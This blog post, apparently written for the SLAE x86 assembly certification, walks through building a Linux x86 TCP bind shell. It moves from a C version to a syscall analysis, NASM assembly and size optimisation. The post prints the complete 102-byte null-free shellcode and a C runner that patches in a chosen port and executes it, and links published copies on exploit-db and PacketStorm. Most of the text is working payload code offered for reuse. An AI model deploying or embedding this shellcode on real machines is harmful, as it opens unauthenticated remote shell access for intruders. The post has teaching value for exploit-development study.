Introduction
This is assignment #1 of the SLAE x86 Exam objectives.
Objectives
- Crate a Shell_Bind_TCP shellcode
- Binds to a port
- Execs Shell on incoming connection
- Port number should be easily configurable
Building a task plan and prerequisites
Bindshell coded in C
The easiest way to understand how a bindshell works at a higher level language and to check what are the system calls required to bind the shell is to have a bindshell example codec in C and discover the necessary syscalls made by the program. For details on how to code a bindshell in C you may check out the following Introduction to Sockets Programming in C using TCP/IP presentation. Its diagram maps out the syscalls required to create a TCP listener:
One of the simplest bindshells coded in C looks as following:
/* *** A simple /bin/sh TCP bindshell ***
Author d7x
https://d7x.promiselabs.net
http://www.promiselabs.net
*/
#include <stdio.h>
#include <netdb.h>
main() {
// create the socket
int sockid = socket(PF_INET, SOCK_STREAM, 0);
struct sockaddr_in addrport;
addrport.sin_family = AF_INET;
addrport.sin_port = htons(4444);
addrport.sin_addr.s_addr = htonl(INADDR_ANY);
// bind
bind(sockid, (struct sockaddr *) &addrport, sizeof(addrport));
// listen
listen(sockid, 0);
// accept
int sock_accept = accept(sockid, 0, 0);
// redirect stdin, stdout, stderr
int i = 0;
for (i = 0; i <= 2; i++)
dup2(sock_accept, i);
// exec /bin/sh
execve("/bin/sh", NULL, NULL);
}
System calls
Based on the above application we could summarize that the following system calls are being made:
- socket
- bind
- listen
- accept
- dup2 (called 3 times with the values 0, 1, 2 to redirect stdin, stdout, and stderr, respectively to our incoming socket)
- execve
Based on the above details we could locate the socketcall syscall available described in /usr/include/i386-linux-gnu/asm/unistd_32.h with a call number 102, as well as the execve and dup2 syscalls which we would need at a later stage:
$ less /usr/include/i386-linux-gnu/asm/unistd_32.h
#define __NR_execve 11
#define __NR_dup2 63
#define __NR_socketcall 102
The man page of socketcall also suggests that we need to provide the call type, which can be tracked to the following subcall routines, defined in /usr/include/linux/net.h:
$ man socketcall
int socketcall(int call, unsigned long *args);
$ less /usr/include/linux/net.h
#define SYS_SOCKET 1 /* sys_socket(2) */
#define SYS_BIND 2 /* sys_bind(2) */
#define SYS_CONNECT 3 /* sys_connect(2) */
#define SYS_LISTEN 4 /* sys_listen(2) */
#define SYS_ACCEPT 5 /* sys_accept(2) */
And the protocol families defined in /usr/include/i386-linux-gnu/bits/socket.h:
$ less /usr/include/i386-linux-gnu/bits/socket.h
enum __socket_type
{
SOCK_STREAM = 1, /* Sequenced, reliable, connection-based
byte streams. */
...
}
#define PF_INET 2 /* IP protocol family. */
ASM Pseudo-code
Based on the above definitions we could make the following pseudo-code of syscalls and parameters:
; socketcall (0x66)
; syscall SYS_SOCKET (0x01)
; socketcall (0x66)
; syscall socket_type BIND (0x02)
; socketcall (0x66)
; syscall SYS_LISTEN (0x04)
; socketcall (0x66)
; syscall SYS_ACCEPT (0x04)
; dup2 (0x3f)
; 0 ; stdin
; dup2 (0x3f)
; 1 ; stdout
; dup2 (0x3f)
; 2 ; stderr
; execve (0x0b)
; /bin//sh
Assembly code
After having all the required prerequisites and the pseudo-asm code for our assembly bindshell, let’s substitute the comments with the actual syntax values of the assembly language syntax:
; bindshell.nasm - Assembly TCP Bindshell (port 4444)
; Author d7x
global _start:
section .text
_start:
; socketcall (0x66)
; syscall SYS_SOCKET (0x01) - int socket(int domain, int type, int protocol);
xor eax, eax
xor ebx, ebx
mov al, 0x66
mov bl, 0x01
; pushing arguments to the stack backwards: int protocol (PF_INET, SOCK_STREAM, 0)
xor edx, edx
push edx ; int domain
push 0x01 ; SOCK_STREAM
push 0x02 ; PF_INET (AF_INET and PF_INET is the same)
mov ecx, esp
; syscall
int 0x80
; save returned file descriptor from eax into esi for later use
mov esi, eax
; socketcall (0x66)
; syscall BIND (0x02) - int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
xor eax, eax
xor ebx, ebx
mov al, 0x66
mov bl, 0x02
; pushing arguments to the stack backwards:
; bind(sockid, (struct sockaddr *) &addrport, sizeof(addrport));
xor edx, edx
push edx
push word 0x5c11 ; port 4444
push word 0x02 ; PF_INET
mov ecx, esp
push 0x10 ; sockaddr length
push ecx ; sockaddr pointer
push esi ; saved socket descriptor
mov ecx, esp
; syscall
int 0x80
; socketcall (0x66)
; syscall SYS_LISTEN (0x04) - int listen(int sockfd, int backlog);
xor eax, eax
xor ebx, ebx
mov al, 0x66
mov bl, 0x04
; pushing arguments to the stack backwards:
; listen(sockid, 0);
xor edx, edx
push edx ; push 0
push esi ; descriptor saved earlier in esi
mov ecx, esp
; syscall
int 0x80
; socketcall (0x66)
; syscall SYS_ACCEPT (0x05) - int sock_accept = accept(sockid, 0, 0);
xor eax, eax
xor ebx, ebx
mov al, 0x66
mov bl, 0x05
xor edx, edx
push edx
push edx
push esi ; descriptor saved earlier in esi
mov ecx, esp
; syscall
int 0x80
; save returned file descriptor from eax into esi for later use
mov esi, eax
; dup2 (0x3f)
; 0 ; stdin
; dup2 (0x3f)
; 1 ; stdout
; dup2 (0x3f)
; 2 ; stderr
; let's put all this in a loop
xor ecx, ecx
DUPCOUNT:
; (0 - stdin, 1 - stdout, 2 - stderr) dup2 - __NR_dup2 63
; int dup2(int oldfd, int newfd);
xor eax, eax
mov al, 0x3f
; ebx (socket descriptor, being copied over from esi saved earlier)
; ecx will be calculated automatically based on the loop value
xor ebx, ebx
mov ebx, esi ; saved socket descriptor
; syscall
int 0x80
inc cl
cmp cx, 2
jle DUPCOUNT ; count until 2 is reached
; execve (0x0b)
; /bin//sh
xor eax, eax
xor ebx, ebx
sub esp, 8 ; reserve some bytes in the stack to work with
mov al, 0x0b
push 0x68732f2f ; //sh
push 0x6e69622f ; /bin
mov ebx, esp
xor ecx, ecx
; syscall
int 0x80
; exit call (we do not need an exit call as we are calling an external program already)
; mov al, 0x1
; mov bl, 0x1
; int 0x80
After fixing a few errors, as at this point of writing assembly and looking back at your code, at a point you are mostly wondering what the hell is this and how did you manage to write it. But by structuring a pseudo-code, something I like to do as a methodology with things I do not have the experience to write on the fly, the coded bindshell in assembly application spawns a shell on port 4444 as expected:
Now that there is a working null-byte free assembly bindshell skeleton, I wanted to work on getting the shellcode size a bit smaller by removing some unnecessary or not so vital instructions. The shellcode size from the above assembly is 129 bytes. The first thing I did is to remove the zeroing of the eax and ebx register in the subsequent calls after the initial syscall, any any repetitive instructions that have been zeroing a register that has already been zeroed in the assembly code, except the xor eax, eax one at the beginning of the execve syscall, as it was required for the following reason:
- the eax register is pushed on to the stack to reserve some stack space to work with, and has to be zeroed prior to this
. The sub esp, 8 instruction in the execve call placed to reserve some space on the stack for the /bin//sh string was also replaced with a simple push eax (as the eax register has already been zeroed prior to this), as its opcode is just 1 byte compared to the sub esp, 8 which opcode takes 3 bytes:
nasm > sub esp, 8
00000000 83EC08 sub esp,byte +0x8
nasm > push eax
00000000 50 push eax
At this point the result was 102 bytes of assembly shellcode, represented in the following assembly code:
; bindshell.nasm - Assembly TCP Bindshell (port 4444)
; Author d7x
; https://d7x.promiselabs.net
; https://www.promiselabs.net
global _start:
section .text
_start:
; socketcall (0x66)
; syscall SYS_SOCKET (0x01) - int socket(int domain, int type, int protocol);
xor eax, eax
xor ebx, ebx
mov al, 0x66
mov bl, 0x01
; pushing arguments to the stack backwards: int protocol (PF_INET, SOCK_STREAM, 0)
xor edx, edx
push edx ; int domain
push 0x01 ; SOCK_STREAM
push 0x02 ; PF_INET (AF_INET and PF_INET is the same)
mov ecx, esp
; syscall
int 0x80
; save returned file descriptor from eax into esi for later use
mov esi, eax
; socketcall (0x66)
; syscall BIND (0x02) - int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
; xor eax, eax
; xor ebx, ebx
mov al, 0x66
mov bl, 0x02
; pushing arguments to the stack backwards:
; bind(sockid, (struct sockaddr *) &addrport, sizeof(addrport));
; xor edx, edx
push edx
push word 0x5c11 ; port 4444
push word 0x02 ; PF_INET
mov ecx, esp
push 0x10 ; sockaddr length
push ecx ; sockaddr pointer
push esi ; saved socket descriptor
mov ecx, esp
; syscall
int 0x80
; socketcall (0x66)
; syscall SYS_LISTEN (0x04) - int listen(int sockfd, int backlog);
; xor eax, eax
; xor ebx, ebx
mov al, 0x66
mov bl, 0x04
; pushing arguments to the stack backwards:
; listen(sockid, 0);
; xor edx, edx
push edx ; push 0
push esi ; socket file descriptor saved earlier in esi
mov ecx, esp
; syscall
int 0x80
; socketcall (0x66)
; syscall SYS_ACCEPT (0x05) - int sock_accept = accept(sockid, 0, 0);
; xor eax, eax
; xor ebx, ebx
mov al, 0x66
mov bl, 0x05
; xor edx, edx
; push edx
push edx
push esi ; socket file descriptor saved earlier in esi
mov ecx, esp
; syscall
int 0x80
; save returned file descriptor from eax into esi for later use
mov esi, eax
; dup2 (0x3f)
; 0 ; stdin
; dup2 (0x3f)
; 1 ; stdout
; dup2 (0x3f)
; 2 ; stderr
; let's put all this in a loop
xor ecx, ecx
DUPCOUNT:
; (0 - stdin, 1 - stdout, 2 - stderr) dup2 - __NR_dup2 63
; int dup2(int oldfd, int newfd);
; xor eax, eax
mov al, 0x3f
; ebx (socket descriptor, being copied over from esi saved earlier)
; ecx will be calculated automatically based on the loop value
; xor ebx, ebx
mov ebx, esi ; saved socket descriptor
; syscall
int 0x80
inc cl
cmp cx, 2
jle DUPCOUNT ; count until 2 is reached
; execve (0x0b)
; /bin//sh
xor eax, eax
; xor ebx, ebx
; sub esp, 8 ; reserve some bytes in the stack to work with
push eax
mov al, 0x0b
push 0x68732f2f ; //sh
push 0x6e69622f ; /bin
mov ebx, esp
xor ecx, ecx
; syscall
int 0x80
; exit call (we do not need an exit call as we are calling an external program already)
; mov al, 0x1
; mov bl, 0x1
; int 0x80
And the above assembly completes objective #1 from the SLAE32 course assignment.
Bulding a shellcode stub
Discovering the shellcode port byte offset
(shellcode port definition byte offset)
# No null-bytes
$ objdump -d ./bindshell_s|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' | grep -o "\\x00" | wc -l
0
# Shellcode length: 102 bytes
$ objdump -d ./bindshell_s|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' | grep -o "\\x" | wc -l
102
# Shellcode output:
"\x31\xc0\x31\xdb\xb0\x66\xb3\x01\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x02\x52\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x52\x56\x89\xe1\xcd\x80\x89\xc6\x31\xc9\xb0\x3f\x89\xf3\xcd\x80\xfe\xc1\x66\x83\xf9\x02\x7e\xf2\x31\xc0\x50\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"
We already know that the port allocated to the bindshell is at 5c11, meaning we are looking for the bytes represented as \x11\x5c within the shellcode. To allocate the offset at which the port is defined I used the following command from my penetration testing cheatsheet:
$ objdump -d ./bindshell_s|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' | sed -n -e 's/\\x11\\x5c.*//p' | grep -o '\x' | wc -l
28
This means that the bytes from the shellcode that need to be changed occur at byte 29th and 30th.
Building a C program with dynamic shellcode port binding
The complete details on how to do this are described in my previous thread titled C: changing shellcode bytes at the middle (or at shellcode offset), so we could just swap the code described there with the shellcode assembly above and use the appropriate offsets from it:
/*
bindshell with dynamic shellcode port binding (tested on Ubuntu 12.04 LTS)
Author: d7x
https://d7x.promiselabs.net/
https://www.promiselabs.net/
*/
#include <stdio.h>
#include <string.h>
unsigned char shellcode[] = \
"\x31\xc0\x31\xdb\xb0\x66\xb3\x01\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x02\x52\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x52\x56\x89\xe1\xcd\x80\x89\xc6\x31\xc9\xb0\x3f\x89\xf3\xcd\x80\xfe\xc1\x66\x83\xf9\x02\x7e\xf2\x31\xc0\x50\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80";
main(int argc, char *argv[])
{
/* Default port at 28th and 29th byte index: \x11\x5c */
// in case no port is provided the default would be used
if (argc < 2) {
printf("No port provided, 4444 (0x115c will be used)\n");
}
else
{
int port = atoi(argv[1]);
printf("Binding to %d (0x%x)\n", port, port);
unsigned int p1 = (port >> 8) & 0xff;
unsigned int p2 = port & 0xff;
// printf("%x %x\n", p1, p2);
shellcode[28] = (unsigned char){p1};
shellcode[29] = (unsigned char){p2};
// printf("%x %x", shellcode[28], shellcode[29]);
}
int (*ret)() = (int(*)())shellcode;
ret();
}
Download
Bindshell With Dynamic Port Binding Shellcode (102 bytes):
PacketStormSecurity:
https://packetstormsecurity.com/files/163439/Linux-x86-Bindshell-With-Dynamic-Port-Binding-Shellcode.html
Exploit-db:
https://www.exploit-db.com/exploits/50124
Github:
https://github.com/d7x/shellcode/blob/main/linux/x86/bindshell.c
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-346690